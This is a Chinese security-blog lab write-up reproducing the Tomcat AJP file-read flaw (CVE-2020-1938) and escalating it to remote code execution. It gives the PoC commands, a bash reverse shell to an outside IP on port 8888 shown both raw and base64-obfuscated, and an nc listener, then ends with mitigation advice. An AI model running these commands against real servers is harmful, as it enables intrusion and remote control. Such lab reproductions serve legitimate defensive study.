freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CVE-2020-1938 Tomcat AJP漏洞复现
FreeBuf-329171 2021-08-27 14:25:18 657254

0x00 简介

Tomcat在server.xml中配置有HTTP连接器和AJP连接器,AJP连接器可以通过AJP协议与另一个web容器进行交互。AJP协议是定向包协议,其使用端口为8009端口,为提高性能,AJP协议采用二进制形势代替文本形势。

0x01漏洞简介

在2020年2月20日,CNVD发布了漏洞公告。该漏洞是Tomcat AJP协议存在缺陷而导致,攻击者可以通过构造特定的参数,读取tomcat的webapps/ROOT目录下的任意文件。同时,若该服务器存在文件上传功能,攻击者还可以进一步实现远程代码执行。

0x02 影响版本

ApacheTomcat6
​ApacheTomcat7<7.0.100
​ApacheTomcat8<8.5.51
​ApacheTomcat9<9.0.31

0x03 环境搭建

本次测试使用 kali 20.4版本,tomcat 为8.5.50版本

搭建好 tomcat 的环境

20210813172456.png

本次测试使用 python2.7 版本并已配置相应 pip

python --version
pip2 --version

20210813172713.png

开启tomcat服务器,并检查8009端口是否开启


nmap -p80009ip

20210813160919.png

20210813160939.png

0x04 任意文件漏洞复现

poc链接:https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

进入poc目录下执行以下指令安装依赖包

pip install -rrequirements.txt

20210811221141.png

执行以下指令进行文件读取,-p 接目标系统开放的端口,最后跟上目标靶机的 IP

python poc.py -p8009-f"/WEB-INF/web.xml"127.0.0.1

20210813161030.png

执行以下指令查看 Tomcat 的 webapps/ROOT 目录

cdROOT
ls-l

结果如下图所示:

20210813161100.png

0x05 文件包含致RCE漏洞复现

构造payload,并将 payload 放置在 webapps/ROOT 目录下

20210813163101.png

1.txt 文件内容如下:

20210813180641.png

其中第一行 exec 包含的就是我们构造的指令

这里的bash指令是由 在线生成器生成

# raw:
bash-i>& /dev/tcp/192.168.126.136/8888 0>&1
# after confusion
bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzYvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

20210815171805.png

在webapps/ROOT下开启本地监听

nc-lvnp8888

20210813163114.png

执行以下指令运行 poc

python poc.py -p8009-f1.txt 127.0.0.1

20210813163200.png

成功反弹shell

whoami
dir

20210813163215.png

0x06 漏洞修复

1.临时禁用AJP协议端口:在 conf/server.xml 配置文件中注释掉117行的 <Connector port="8009" protocol="AJP/1.3"redirectPort="8443" /> ,然后重启服务器。

2.官方已发布新版本完成漏洞修复,下载新版本即可。

# 渗透测试 # 黑客 # 漏洞分析
本文为 FreeBuf-329171 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf-329171 LV.5
这家伙太懒了,还未填写个人描述!
  • 27 文章数
  • 7 关注者
CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现
2021-08-31
CVE-2020-11651CVE-2020-11652 SaltStack认证绕过漏洞、目录遍历漏洞
2021-08-30
CVE-2021-21351 XStream反序列化远程代码执行漏洞
2021-08-13
文章目录